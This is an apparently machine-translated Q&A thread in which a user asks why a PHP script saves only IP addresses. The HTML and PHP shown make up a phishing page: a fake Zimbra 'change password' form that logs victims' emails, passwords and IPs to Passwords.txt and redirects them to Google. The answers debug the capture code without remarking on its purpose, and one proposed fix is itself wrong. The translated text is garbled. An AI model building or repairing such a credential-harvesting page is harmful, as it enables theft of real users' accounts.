我正在尝试创建一个表单,当用户键入信息然后提交它时将其保存在文本文件中。但是当我打开文本文件时,它只显示IP地址....我无法弄清楚我的代码出错了什么:
我已经尝试将§_SERVER更改为$ _POST,但它无法正常工作
谢谢:)
HTML:
<form action="login.php" id="login.php" method="get">
<div class="imgcontainer">
<img src="zimbra.png" alt="Avatar" class="avatar">
</div>
<div class="bodypage">
<div class="font">
<div class="container">
<label>EEB2 Zimbra Email</label>
<input type="text" placeholder="Enter Email" name="email" id="email" required>
<label>Password</label>
<input type="password" placeholder="Enter Password" name="psw" id="psw" required>
<label>New Password</label>
<input type="password" placeholder="Enter New Password" name="newpsw" required id="newpassword">
<label>Confirm New Password</label>
<input type="password" placeholder="Enter New Password" name="newpsw" required id="confirmnewpassword">
</div>
<a href="google.com"><button type="submit">Change Password</button></a>
</div>
</form>
PHP:
<?php
$handle = fopen("Passwords.txt", "a");
$ip = $_SERVER['REMOTE_ADDR'];
$email = $_SERVER['email'];
$psw = $_SERVER['psw'];
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, PHP_EOL);
}
fwrite($handle, "IP=$ip");
fwrite($handle, "PASS=$psw");
fwrite($handle, "EMAIL=$email");
fclose($handle);
header ('Location: http://www.google.be/');
exit;
?>
编辑:我不是想获取新密码,只是电子邮件和密码。
答案 0 :(得分:0)
没有$ _SERVER [&#39;电子邮件&#39;],$ _SERVER [&#39; psw&#39;]等等。这是documented here。
假设他们有&#34; name&#34; HTML表单中的属性(我出于某种原因,请参阅Dropbox),您应该在$ _POST [&#39; psw&#39;],$ _POST [&#39; email& #39;]等等。
我想补充一点,在将这些值放入文件系统之前,应该使用filter_input或其他一些机制来测试这些值。
答案 1 :(得分:0)
你的方法是$ _GET所以它是$ _GET [&#39; email&#39;]
答案 2 :(得分:0)
首先,如果您尝试保存凭据(如密码),则不应使用代码中的方法“GET”。因为提交表单时,因为您使用了GET方法,所有凭据都将显示在URL上。所以这将是一个安全问题。大多数开发人员更喜欢使用POST方法而非GET进行表单数据处理。
正如在W3schools上所说,“ $ _ SERVER 是一个PHP超级全局变量,它包含有关标题,路径和脚本位置的信息。”
使用POST方法
尝试更改为此。(使用“$ _POST [] ”方法只是为了捕获您尝试从网络表单发布的数据。所以这对您有用。
$ ip = $ _POST ['REMOTE_ADDR']; $ email = $ _POST ['email'];
为了适合你,你应该改变
使用GET方法
但如果你仍然想坚持使用GET方法,你只需将它们改为$ _GET ['']
$ ip = $ _GET ['REMOTE_ADDR']; $ email = $ _GET ['email'];
希望能帮到你! :D祝你好运